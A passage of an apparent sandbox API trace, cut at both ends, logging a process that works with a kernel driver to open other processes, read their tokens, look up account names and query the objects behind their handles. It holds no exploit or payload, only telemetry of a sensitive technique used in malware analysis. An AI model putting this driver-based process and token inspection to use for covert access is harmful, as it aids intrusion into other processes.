(Object=0xfffffa80020bb800) returned 0x10 [0122.833] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa80020cd044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80020cd044, ReturnLength=0xfffff88004435550) returned 0x0 [0122.833] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0122.833] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.833] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.833] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x84c) returned 0xc0 [0122.833] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0122.833] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004435668, HandleInformation=0x0 | out: Object=0xfffff88004435668*=0xfffffa80020c76e0, HandleInformation=0x0) returned 0x0 [0122.833] ObOpenObjectByPointer (in: Object=0xfffffa80020c76e0, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004435670 | out: Handle=0xfffff88004435670*=0xffffffff800009e8) returned 0x0 [0122.833] ObfDereferenceObject (Object=0xfffffa80020c76e0) returned 0x12 [0122.833] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800009e8, DesiredAccess=0x8, TokenHandle=0xfffffa80022554c0 | out: TokenHandle=0xfffffa80022554c0*=0xc8) returned 0x0 [0122.833] ZwClose (Handle=0xffffffff800009e8) returned 0x0 [0122.833] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.833] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0122.833] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0122.835] CloseHandle (hObject=0xc8) returned 1 [0122.835] CloseHandle (hObject=0xc0) returned 1 [0122.835] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.835] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0122.835] PsLookupProcessByProcessId (in: ProcessId=0x84c, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.835] PsAcquireProcessExitSynchronization () returned 0x0 [0122.835] KeStackAttachProcess (in: PROCESS=0xfffffa80020c76e0, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80020c76e0, ApcState=0xfffff880044355d0) [0122.835] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80020c7e90, HandleInformation=0x0) returned 0x0 [0122.835] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.835] PsReleaseProcessExitSynchronization () returned 0x2 [0122.835] ObfDereferenceObject (Object=0xfffffa80020c76e0) returned 0x10 [0122.835] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80020e0044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa80020e0044, ReturnLength=0xfffff88004435508) returned 0x0 [0122.835] ObfDereferenceObject (Object=0xfffffa80020c7e90) returned 0x1 [0122.835] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.835] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.835] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.835] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x86, lpOverlapped=0x0) returned 1 [0122.835] PsLookupProcessByProcessId (in: ProcessId=0x84c, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.835] PsAcquireProcessExitSynchronization () returned 0x0 [0122.835] KeStackAttachProcess (in: PROCESS=0xfffffa80020c76e0, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80020c76e0, ApcState=0xfffff880044355d0) [0122.835] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8001a143f0, HandleInformation=0x0) returned 0x0 [0122.835] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.836] PsReleaseProcessExitSynchronization () returned 0x2 [0122.836] ObfDereferenceObject (Object=0xfffffa80020c76e0) returned 0x10 [0122.836] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80019ff7c4, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa80019ff7c4, ReturnLength=0xfffff88004435508) returned 0x0 [0122.836] ObfDereferenceObject (Object=0xfffffa8001a143f0) returned 0x1 [0122.836] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.836] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.836] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.836] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0122.836] PsLookupProcessByProcessId (in: ProcessId=0x84c, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.836] PsAcquireProcessExitSynchronization () returned 0x0 [0122.836] KeStackAttachProcess (in: PROCESS=0xfffffa80020c76e0, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80020c76e0, ApcState=0xfffff880044355d0) [0122.836] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0122.836] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.836] PsReleaseProcessExitSynchronization () returned 0x2 [0122.836] ObfDereferenceObject (Object=0xfffffa80020c76e0) returned 0x10 [0122.836] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa80037a2444, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80037a2444, ReturnLength=0xfffff88004435550) returned 0x0 [0122.836] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0122.836] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.836] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.836] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x85c) returned 0xc0 [0122.836] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0122.836] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004435668, HandleInformation=0x0 | out: Object=0xfffff88004435668*=0xfffffa8002089060, HandleInformation=0x0) returned 0x0 [0122.836] ObOpenObjectByPointer (in: Object=0xfffffa8002089060, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004435670 | out: Handle=0xfffff88004435670*=0xffffffff800009e8) returned 0x0 [0122.836] ObfDereferenceObject (Object=0xfffffa8002089060) returned 0x12 [0122.836] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800009e8, DesiredAccess=0x8, TokenHandle=0xfffffa80022554c0 | out: TokenHandle=0xfffffa80022554c0*=0xc8) returned 0x0 [0122.836] ZwClose (Handle=0xffffffff800009e8) returned 0x0 [0122.836] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.836] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0122.836] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0122.838] CloseHandle (hObject=0xc8) returned 1 [0122.838] CloseHandle (hObject=0xc0) returned 1 [0122.838] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.838] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0122.838] PsLookupProcessByProcessId (in: ProcessId=0x85c, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.838] PsAcquireProcessExitSynchronization () returned 0x0 [0122.838] KeStackAttachProcess (in: PROCESS=0xfffffa8002089060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8002089060, ApcState=0xfffff880044355d0) [0122.838] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80020b8830, HandleInformation=0x0) returned 0x0 [0122.838] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.838] PsReleaseProcessExitSynchronization () returned 0x2 [0122.838] ObfDereferenceObject (Object=0xfffffa8002089060) returned 0x10 [0122.838] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800341c7c4, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa800341c7c4, ReturnLength=0xfffff88004435508) returned 0x0 [0122.838] ObfDereferenceObject (Object=0xfffffa80020b8830) returned 0x1 [0122.838] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.838] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.838] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.839] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x98, lpOverlapped=0x0) returned 1 [0122.839] PsLookupProcessByProcessId (in: ProcessId=0x85c, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.839] PsAcquireProcessExitSynchronization () returned 0x0 [0122.839] KeStackAttachProcess (in: PROCESS=0xfffffa8002089060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8002089060, ApcState=0xfffff880044355d0) [0122.839] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800206bdc0, HandleInformation=0x0) returned 0x0 [0122.839] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.839] PsReleaseProcessExitSynchronization () returned 0x2 [0122.839] ObfDereferenceObject (Object=0xfffffa8002089060) returned 0x10 [0122.839] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80037a3644, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa80037a3644, ReturnLength=0xfffff88004435508) returned 0x0 [0122.839] ObfDereferenceObject (Object=0xfffffa800206bdc0) returned 0x1 [0122.839] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.839] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.839] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.839] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0122.839] PsLookupProcessByProcessId (in: ProcessId=0x85c, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.839] PsAcquireProcessExitSynchronization () returned 0x0 [0122.839] KeStackAttachProcess (in: PROCESS=0xfffffa8002089060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8002089060, ApcState=0xfffff880044355d0) [0122.839] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0122.839] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.839] PsReleaseProcessExitSynchronization () returned 0x2 [0122.839] ObfDereferenceObject (Object=0xfffffa8002089060) returned 0x10 [0122.839] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8002101044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8002101044, ReturnLength=0xfffff88004435550) returned 0x0 [0122.839] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0122.839] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.839] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.839] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x86c) returned 0xc0 [0122.839] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0122.839] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004435668, HandleInformation=0x0 | out: Object=0xfffff88004435668*=0xfffffa80020a1360, HandleInformation=0x0) returned 0x0 [0122.839] ObOpenObjectByPointer (in: Object=0xfffffa80020a1360, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004435670 | out: Handle=0xfffff88004435670*=0xffffffff800009e8) returned 0x0 [0122.839] ObfDereferenceObject (Object=0xfffffa80020a1360) returned 0x12 [0122.839] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800009e8, DesiredAccess=0x8, TokenHandle=0xfffffa80022554c0 | out: TokenHandle=0xfffffa80022554c0*=0xc8) returned 0x0 [0122.839] ZwClose (Handle=0xffffffff800009e8) returned 0x0 [0122.840] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.840] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0122.840] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0122.841] CloseHandle (hObject=0xc8) returned 1 [0122.841] CloseHandle (hObject=0xc0) returned 1 [0122.841] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.841] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0122.841] PsLookupProcessByProcessId (in: ProcessId=0x86c, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.841] PsAcquireProcessExitSynchronization () returned 0x0 [0122.841] KeStackAttachProcess (in: PROCESS=0xfffffa80020a1360, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80020a1360, ApcState=0xfffff880044355d0) [0122.841] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80020e3c10, HandleInformation=0x0) returned 0x0 [0122.841] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.841] PsReleaseProcessExitSynchronization () returned 0x2 [0122.841] ObfDereferenceObject (Object=0xfffffa80020a1360) returned 0x10 [0122.841] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a07044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a07044, ReturnLength=0xfffff88004435508) returned 0x0 [0122.841] ObfDereferenceObject (Object=0xfffffa80020e3c10) returned 0x1 [0122.841] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.841] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.841] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.841] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x78, lpOverlapped=0x0) returned 1 [0122.841] PsLookupProcessByProcessId (in: ProcessId=0x86c, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.842] PsAcquireProcessExitSynchronization () returned 0x0 [0122.842] KeStackAttachProcess (in: PROCESS=0xfffffa80020a1360, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80020a1360, ApcState=0xfffff880044355d0) [0122.842] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80020e3ac0, HandleInformation=0x0) returned 0x0 [0122.842] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.842] PsReleaseProcessExitSynchronization () returned 0x2 [0122.842] ObfDereferenceObject (Object=0xfffffa80020a1360) returned 0x10 [0122.842] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a06044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a06044, ReturnLength=0xfffff88004435508) returned 0x0 [0122.842] ObfDereferenceObject (Object=0xfffffa80020e3ac0) returned 0x1 [0122.842] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.842] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.842] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.842] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0122.842] PsLookupProcessByProcessId (in: ProcessId=0x86c, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.842] PsAcquireProcessExitSynchronization () returned 0x0 [0122.842] KeStackAttachProcess (in: PROCESS=0xfffffa80020a1360, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80020a1360, ApcState=0xfffff880044355d0) [0122.842] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0122.842] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.842] PsReleaseProcessExitSynchronization () returned 0x2 [0122.842] ObfDereferenceObject (Object=0xfffffa80020a1360) returned 0x10 [0122.842] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa80020df044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80020df044, ReturnLength=0xfffff88004435550) returned 0x0 [0122.842] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0122.842] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.842] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.842] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x880) returned 0xc0 [0122.842] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0122.842] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004435668, HandleInformation=0x0 | out: Object=0xfffff88004435668*=0xfffffa800208b060, HandleInformation=0x0) returned 0x0 [0122.842] ObOpenObjectByPointer (in: Object=0xfffffa800208b060, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004435670 | out: Handle=0xfffff88004435670*=0xffffffff800009e8) returned 0x0 [0122.842] ObfDereferenceObject (Object=0xfffffa800208b060) returned 0x12 [0122.842] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800009e8, DesiredAccess=0x8, TokenHandle=0xfffffa80022554c0 | out: TokenHandle=0xfffffa80022554c0*=0xc8) returned 0x0 [0122.842] ZwClose (Handle=0xffffffff800009e8) returned 0x0 [0122.842] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.843] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0122.843] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0122.962] CloseHandle (hObject=0xc8) returned 1 [0122.962] CloseHandle (hObject=0xc0) returned 1 [0122.962] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.962] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0122.962] PsLookupProcessByProcessId (in: ProcessId=0x880, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.962] PsAcquireProcessExitSynchronization () returned 0x0 [0122.962] KeStackAttachProcess (in: PROCESS=0xfffffa800208b060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800208b060, ApcState=0xfffff880044355d0) [0122.962] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80019ac4f0, HandleInformation=0x0) returned 0x0 [0122.962] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.962] PsReleaseProcessExitSynchronization () returned 0x2 [0122.962] ObfDereferenceObject (Object=0xfffffa800208b060) returned 0x10 [0122.962] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80019ff7c4, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa80019ff7c4, ReturnLength=0xfffff88004435508) returned 0x0 [0122.962] ObfDereferenceObject (Object=0xfffffa80019ac4f0) returned 0x1 [0122.962] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.962] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.963] RtlAllocateHeap 